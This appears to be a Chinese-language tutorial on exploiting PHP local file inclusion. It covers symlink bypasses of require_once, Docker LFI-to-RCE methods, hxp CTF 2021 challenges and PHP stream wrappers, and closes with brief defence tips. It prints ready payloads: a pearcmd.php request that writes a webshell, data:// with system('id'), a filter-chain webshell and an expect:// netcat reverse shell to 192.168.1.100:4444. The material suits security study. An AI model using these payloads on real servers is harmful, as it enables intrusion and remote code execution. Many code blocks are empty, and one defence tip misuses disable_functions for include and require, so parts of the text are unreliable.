LFI利用技术
LFI 利用体系
多级软链接绕过
基本原理
核心知识点:
require_once()和include_once()会将文件路径解析为绝对路径,相同文件只能被包含一次- PHP在解析文件路径时,会处理
../、./、软链接等,得到最终路径 - 当软链接跳转次数超过某个上限时,Linux的
lstat函数会出错 - 此时PHP计算出的绝对路径会包含部分软链接路径,与原始路径不同,即可绕过
require_once限制
典型防御代码:
1 |
|
问题:
如果config.php已经被包含过,第二次包含会失败,即使使用php://filter也一样。
利用方法
关键路径:
/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接
利用步骤:
- 使用多重软链接
1 |
|
- 原理解析
- 正常情况下,PHP会将
/proc/self/root/.../www/config.php解析为/www/config.php - 但当软链接层数过多时,
lstat函数出错 - PHP计算出的路径包含软链接部分,与原始路径不同
- 因此绕过了
require_once的限制
Payload示例:
1 | ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php |
适用场景
- 需要多次包含同一个文件
- 目标使用了
require_once或include_once - 可以访问
/proc/self/root路径
Docker PHP 裸文件包含
问题背景
核心问题:
在使用Docker官方的PHP镜像(如php:7.4-apache)时,Web应用存在文件包含漏洞,但在没有文件上传功能的情况下,如何利用?
典型代码:
1 |
|
传统方法失效的原因:
- 远程文件包含(RFI):默认不开启
allow_url_include - 日志文件包含:Docker环境中日志被重定向到设备文件
- 文件上传:没有上传功能
方法一:日志文件包含
在实战中,当功能点少、找不到可包含文件时,通常会尝试包含系统日志、Web日志等。
但在Docker环境中:
- 容器只运行Apache,没有第三方软件日志
- Web日志被重定向到
/dev/stdout、/dev/stderr
Dockerfile中的配置:
1 | # logs should go to stdout / stderr |
为什么失败:
尝试包含这些日志文件会报错:
1 | include(/dev/pts/0): failed to open stream: Permission denied |
原因:
PHP没有权限包含设备文件。
结论:
日志包含方法在Docker环境中完全失效。
方法二:phpinfo与条件竞争
日志包含失败后,需要找到其他可控制内容的文件。经典的临时文件包含方法是一个选择。
临时文件生命周期:
- PHP接收上传请求,将数据保存到临时文件(
/tmp/phpXXXXXX) - 临时文件名格式:
php+ 6个随机字符 - PHP文件执行完毕后,临时文件被清理
利用思路:
在”PHP writes data to temp file”到”php removes temp files”之间的时间窗口,包含临时文件。
关键点:
- phpinfo页面会输出
$_FILES变量,包含完整临时文件名 - 需要条件竞争:一个线程上传并获取文件名,另一个线程包含
利用步骤:
- 发送上传请求到phpinfo页面
1 | import requests |
- 从phpinfo中提取临时文件名
1 | import re |
- 条件竞争包含临时文件
1 | import threading |
提高成功率的方法:
- 使用大量线程进行包含操作
- 如果开启
output_buffering,可以流式读取phpinfo - 在请求头中插入大量垃圾字符,使phpinfo返回时间更长
局限性:
- 需要phpinfo页面:现在很少有机会在实战中找到
- 需要网络条件好:条件竞争对网络延迟敏感
- 成功率不稳定:依赖临时文件生命周期
结论:
虽然可行,但条件苛刻,实战中难以应用。
方法三:Windows通配符
phpinfo方法需要phpinfo页面和网络条件好,实战中很难满足。
如果目标操作系统是Windows,可以利用特殊通配符匹配临时文件名。
Windows API特性:
PHP在Windows下使用FindFirstFileExW API查找文件,该API支持特殊通配符。
特殊通配符:
- DOS_STAR(
<):匹配0个以上字符 - DOS_QM(
>):匹配1个字符 - DOS_DOT(
"):匹配点号
来源:
这些定义来自ntifs.h头文件:
1 |
利用步骤:
- 发送上传包
1 | import requests |
- PHP自动匹配临时文件
- 上传文件时,PHP创建临时文件
- 文件包含时,使用通配符
php<<匹配临时文件名 - 无需知道具体文件名
Payload示例:
1 | ?file=C:\Windows\Temp\php<< |
局限性:
- 仅限Windows系统:Linux系统不适用
- 需要文件上传功能:虽然不需要保存文件,但需要触发上传
结论:
解决了临时文件名未知的问题,但仅适用于Windows系统。
方法四:session.upload_progress
前三种方法在Docker环境中都存在局限性:
- 日志包含:权限问题
- phpinfo:需要phpinfo页面
- Windows通配符:仅限Windows
需要找到一种在Docker环境中通用的方法。
session.upload_progress功能:
- PHP为上传进度条设计的功能
- 上传文件时,将进度信息保存在Session中
- Session默认保存在文件中
配置要求:
1 | session.upload_progress.enabled = On # 默认开启 |
利用条件:
session.upload_progress.enabled = On(默认开启)- 能够发送文件上传请求
- Cookie中包含Session ID
- 需要条件竞争(因为
cleanup默认开启)
关键点:
- 通过
PHP_SESSION_UPLOAD_PROGRESS字段控制Session内容 - Session文件名可控(通过PHPSESSID)
- 比phpinfo方法简单,因为文件名已知
利用步骤:
- 构造上传请求
1 | import requests |
- 条件竞争包含Session文件
1 | import threading |
注意事项:
- 必须上传两个以上文件,否则不会创建Session文件
- Session文件名可控,比临时文件包含简单
- 几乎不会失败
局限性:
- 需要条件竞争:虽然比phpinfo简单,但仍需要竞争
- 依赖Session功能:需要
session.upload_progress.enabled = On
结论:
在Docker环境中非常实用,但仍需要条件竞争。
方法五:Segfault遗留下临时文件
如果session.upload_progress.enabled被关闭,前面的方法都失效了。
利用PHP的bug导致进程crash,使临时文件不被删除。
临时文件删除机制:
- 临时文件在请求结束后被删除
- 如果PHP进程在请求结束前异常退出,临时文件不会被删除
- Apache或PHP-FPM的master进程会拉起新的子进程
利用思路:
通过触发PHP的bug导致crash,遗留下临时文件,然后爆破文件名。
导致crash的方法:
- php://filter string.strip_tags(PHP 7.1.19及以下)
1 | include 'php://filter/string.strip_tags/resource=/etc/passwd'; |
- php://filter convert.quoted-printable-encode
1 | file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA')); |
利用步骤:
- 发送导致crash的请求
1 | import requests |
- 爆破临时文件名
1 | import requests |
提高成功率的方法:
- 在一个数据包中多放一些文件表单(最多20个)
- 多发送几次数据包
- 增加爆破成功率
局限性:
- 依赖PHP版本:需要特定版本的PHP漏洞
- 需要爆破:临时文件名仍然未知
- 可能影响服务:导致PHP进程crash
结论:
适用于特定PHP版本,但需要爆破。
方法六:pearcmd.php
前面的方法都有各自的局限性:
- 日志包含:权限问题
- phpinfo:需要phpinfo页面
- Windows通配符:仅限Windows
- session.upload_progress:需要条件竞争
- Segfault:需要特定PHP版本
需要找到一种更通用的方法。
利用Docker环境中默认安装的pear/pecl工具,通过pearcmd.php创建文件。
pear/pecl工具:
- pecl是PHP扩展管理工具
- pear是pecl依赖的类库
- Docker镜像中默认安装
- 安装路径:
/usr/local/lib/php
register_argc_argv配置:
- 当开启时,query string会被解析为argv
- 符合RFC3875规范
- Docker环境中默认开启
利用思路:
- 包含
pearcmd.php - 通过query string传递参数
- 执行pear命令(如
config-create)创建文件
源码分析:
PHP源码中的逻辑:
1 | if (PG(register_argc_argv)) { |
关键:SG(request_info).query_string会被作为argv的值。
利用步骤:
- 查看register_argc_argv状态
1 | ?file=/usr/local/lib/php/pearcmd.php&+config-create+/&/tmp/shell.php |
- 利用pearcmd.php创建文件
1 | ?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php |
- 包含创建的文件
1 | ?file=/tmp/shell.php |
局限性:
- 需要register_argc_argv开启:Docker环境默认开启
- 需要访问pear目录:需要能够访问
/usr/local/lib/php - 需要文件包含漏洞:这是前提条件
结论:
在Docker环境中非常实用,无需条件竞争,无需爆破。
总结
方法对比:
| 方法 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| 日志包含 | 简单直接 | Docker中权限问题 | 非Docker环境 |
| phpinfo | 文件名已知 | 需要phpinfo页面 | 有phpinfo页面 |
| Windows通配符 | 无需爆破 | 仅限Windows | Windows系统 |
| session.upload_progress | 文件名可控 | 需要条件竞争 | Docker环境 |
| Segfault | 无需条件竞争 | 需要特定PHP版本 | 特定PHP版本 |
| pearcmd.php | 无需竞争、无需爆破 | 需要register_argc_argv | Docker环境 |
推荐顺序:
- pearcmd.php:Docker环境首选
- session.upload_progress:次选,需要条件竞争
- phpinfo:如果有phpinfo页面
- Windows通配符:Windows系统
- Segfault:特定PHP版本
- 日志包含:非Docker环境
hxp CTF 2021 LFI挑战
Includer’s revenge - Nginx Fastcgi Temp LFI
题目代码:
1 |
|
Dockerfile限制:
1 | RUN chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \ |
核心知识点:
- Nginx在Fastcgi响应过大时会产生临时文件
- 临时文件保存在
/var/lib/nginx/fastcgi/目录 - 临时文件格式:
/var/lib/nginx/fastcgi/x/y/0000000yx - 阈值大小约32KB
- 临时文件被删除后,文件描述符仍然存在
- 可以通过
/proc/PID/fd/访问已删除的文件
利用步骤:
- 产生临时文件
1 | import requests |
- 通过/proc/PID/fd/访问临时文件
1 | import requests |
- 结合多重软链接绕过include_once
1 | ?file=/proc/self/root/proc/self/root/.../proc/{pid}/fd/X |
原理解析:
- Nginx创建临时文件后立即删除
- 但文件描述符仍然存在
- 可以通过
/proc/PID/fd/访问 - 结合多重软链接绕过
include_once限制
The End Of LFI - PHP Filter编码技巧
题目代码:
1 |
|
核心知识点:
- PHP Base64 Filter忽略非法字符
- 可以通过iconv filter编码转换构造特定字符
- 无需临时文件即可RCE
- 利用固定文件内容(如
/etc/passwd)生成webshell
Base64 Filter特性:
- 合法字符:
A-Za-z0-9\/\=\+ - 非法字符会被忽略
- 包括不可见字符、控制字符
验证:
1 |
|
iconv编码转换:
1 |
|
构造Payload:
- 目标webshell:
1 | `$_GET[0]`;; |
- Base64编码:
1 | PD89YCRfR0VUWzBdYDs7Pz4= |
- 编码转换规则:
1 | $conversions = array( |
- 构造完整Payload:
1 |
|
- 利用:
1 | ?file=php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|...|convert.base64-decode/resource=/etc/passwd&0=id |
原理解析:
- 通过iconv编码转换,从固定文件内容中构造出base64字符串
- 使用
convert.base64-decode解码得到webshell convert.iconv.UTF8.UTF7用于处理等号问题
PHP 伪协议详解
php://filter
作用:
读取文件内容,支持各种编码转换。
语法:
1 | php://filter/<过滤器链>/<资源> |
常用过滤器:
- read过滤器
convert.base64-encode:Base64编码convert.base64-decode:Base64解码string.rot13:ROT13编码string.toupper:转大写string.tolower:转小写string.strip_tags:去除HTML标签convert.iconv.*:字符编码转换
- write过滤器
convert.base64-decode:Base64解码string.rot13:ROT13解码
利用示例:
- 读取文件(Base64编码)
1 | ?file=php://filter/convert.base64-encode/resource=/etc/passwd |
- 读取文件(ROT13编码)
1 | ?file=php://filter/string.rot13/resource=/etc/passwd |
- 多重过滤器
1 | ?file=php://filter/convert.base64-encode|convert.iconv.UTF-8.UTF-16/resource=/etc/passwd |
- 绕过死亡exit
1 | ?file=php://filter/string.strip_tags|convert.base64-encode/resource=php://input |
高级技巧:
- 利用iconv构造特定字符
1 | php://filter/convert.iconv.UTF-8.UTF-7/resource=data://,<?php phpinfo();?> |
- 利用string.strip_tags导致crash
1 | php://filter/string.strip_tags/resource=/etc/passwd |
php://input
作用:
读取POST请求的原始数据。
利用条件:
allow_url_include = On(某些版本不需要)- 需要能够发送POST请求
利用示例:
- 执行PHP代码
1 | ?file=php://input |
- 写入文件
1 | ?file=php://input |
注意事项:
- 某些WAF会拦截
php://input - 需要Content-Type为
application/x-www-form-urlencoded或multipart/form-data
data://
作用:
以数据流形式传递数据。
利用条件:
allow_url_include = On
语法:
1 | data://<MIME类型>,<数据> |
利用示例:
- 执行PHP代码
1 | ?file=data://text/plain,<?php phpinfo();?> |
- Base64编码
1 | ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
- 指定MIME类型
1 | ?file=data://text/php,<?php system('id');?> |
绕过技巧:
- URL编码
1 | ?file=data://%74%65%78%74/%70%6c%61%69%6e,<?php phpinfo();?> |
- 使用其他MIME类型
1 | ?file=data://image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBD... |
file://
作用:
访问本地文件系统。
语法:
1 | file://<文件路径> |
利用示例:
- 读取文件
1 | ?file=file:///etc/passwd |
- 读取PHP文件
1 | ?file=file:///var/www/html/config.php |
注意事项:
- 必须使用绝对路径
- 需要文件读取权限
zip://
作用:
读取ZIP压缩包中的文件。
语法:
1 | zip://<ZIP文件路径>#<文件名> |
利用示例:
- 读取ZIP中的文件
1 | ?file=zip:///var/www/html/upload.zip#shell.php |
- 创建恶意ZIP
1 | import zipfile |
注意事项:
- 使用
#分隔ZIP文件和内部文件 #需要URL编码为%23
phar://
作用:
读取PHAR(PHP Archive)文件中的文件。
语法:
1 | phar://<PHAR文件路径>/<文件名> |
利用示例:
- 读取PHAR中的文件
1 | ?file=phar:///var/www/html/upload.phar/shell.php |
- 创建恶意PHAR
1 |
|
高级利用:
- PHAR反序列化漏洞
- 配合文件上传漏洞
expect://
作用:
执行系统命令。
利用条件:
- 安装了expect扩展
allow_url_include = On
利用示例:
- 执行命令
1 | ?file=expect://id |
- 反弹Shell
1 | ?file=expect://nc -e /bin/bash 192.168.1.100 4444 |
注意事项:
- 很少有环境安装expect扩展
- 命令执行结果可能不返回
glob://
作用:
查找匹配的文件路径。
语法:
1 | glob://<通配符模式> |
利用示例:
- 查找所有PHP文件
1 | ?file=glob:///var/www/html/*.php |
- 查找所有文件
1 | ?file=glob:///*/* |
注意事项:
- 不返回文件内容,只返回文件名
- 用于信息收集
伪协议对比
| 伪协议 | 作用 | 条件 | 常用场景 |
|---|---|---|---|
| php://filter | 读取文件、编码转换 | 无 | 读取敏感文件 |
| php://input | 读取POST数据 | allow_url_include | 代码执行 |
| data:// | 数据流 | allow_url_include | 代码执行 |
| file:// | 访问本地文件 | 无 | 读取文件 |
| zip:// | 读取ZIP文件 | 无 | 配合上传 |
| phar:// | 读取PHAR文件 | 无 | 配合上传、反序列化 |
| expect:// | 执行命令 | expect扩展 | 命令执行 |
| glob:// | 查找文件 | 无 | 信息收集 |
防御建议
代码层面
- 避免动态包含
1 | // 不推荐 |
- 使用白名单验证
1 | $allowed_files = [ |
- 禁用危险函数
1 | // 禁用include/require |
配置层面
- 禁用远程文件包含
1 | allow_url_include = Off |
- 限制文件访问
1 | open_basedir = /var/www/html:/tmp |
- 禁用危险伪协议
1 | disable_functions = include,include_once,require,require_once |
服务器层面
- 文件权限控制
1 | chmod 755 /var/www/html |
- 禁用目录遍历
1 | <Directory /var/www/html> |
- WAF防护
- 拦截包含伪协议的请求
- 拦截包含
../的请求 - 拦截包含敏感路径的请求